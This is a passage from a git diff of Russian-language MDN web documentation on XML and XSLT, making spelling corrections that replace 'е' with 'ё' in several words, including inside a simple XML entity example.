       Документ содержащий неопределённый тег является не корректным. Например, если мы не определили тег <warning>, документ не корректен.

      В большинство браузеров встроен дебаггер, который может идентифицировать плохо написанный XML документ.

      @@ -100,7 +100,7 @@ translation_of: Web/XML/XML_introduction
      <?xml version="1.0" encoding="UTF-8"?>
       <!DOCTYPE body [
      -  <!ENTITY warning "Предупреждение: произошла ошибка, обновите и попробуте еще раз.">
      +  <!ENTITY warning "Предупреждение: произошла ошибка, обновите и попробуте ещё раз.">
       ]>
       <body>
         <message> &warning; </message>
      @@ -123,7 +123,7 @@ translation_of: Web/XML/XML_introduction
       
       

      Рекомендации

      -

      Эта статья является очень маленьким введением в XML, с очень маленьким количеством примеров и ссылок для того, чтобы вы могли начать работать с этим языком. Чтобы больше узнать про XML, вам придется искать информацию и более информативные статьи в интернете.

      +

      Эта статья является очень маленьким введением в XML, с очень маленьким количеством примеров и ссылок для того, чтобы вы могли начать работать с этим языком. Чтобы больше узнать про XML, вам придётся искать информацию и более информативные статьи в интернете.

      Изучайте HTML (англ. HyperText Markup Language), знание HTML поможет вам лучше понять XML.

      diff --git a/files/ru/web/xslt/index.html b/files/ru/web/xslt/index.html index 9c1d10b3d7..a9cab24eb1 100644 --- a/files/ru/web/xslt/index.html +++ b/files/ru/web/xslt/index.html @@ -10,7 +10,7 @@ translation_of: Web/XSLT

       

      -

      Хотя этот процесс называется «преобразованием», исходный документ не изменяется; скорее новый документ XML создается на основе содержимого существующего документа. Затем новый документ может быть сериализован (выведен) процессором в стандартном синтаксисе XML или в другом формате, таком как HTML или простой текст.

      +

      Хотя этот процесс называется «преобразованием», исходный документ не изменяется; скорее новый документ XML создаётся на основе содержимого существующего документа. Затем новый документ может быть сериализован (выведен) процессором в стандартном синтаксисе XML или в другом формате, таком как HTML или простой текст.

      XSLT чаще всего используется для преобразования данных между различными схемами XML или для преобразования данных XML в веб-страницы или документы PDF.

      -- cgit v1.2.3-54-g00ecf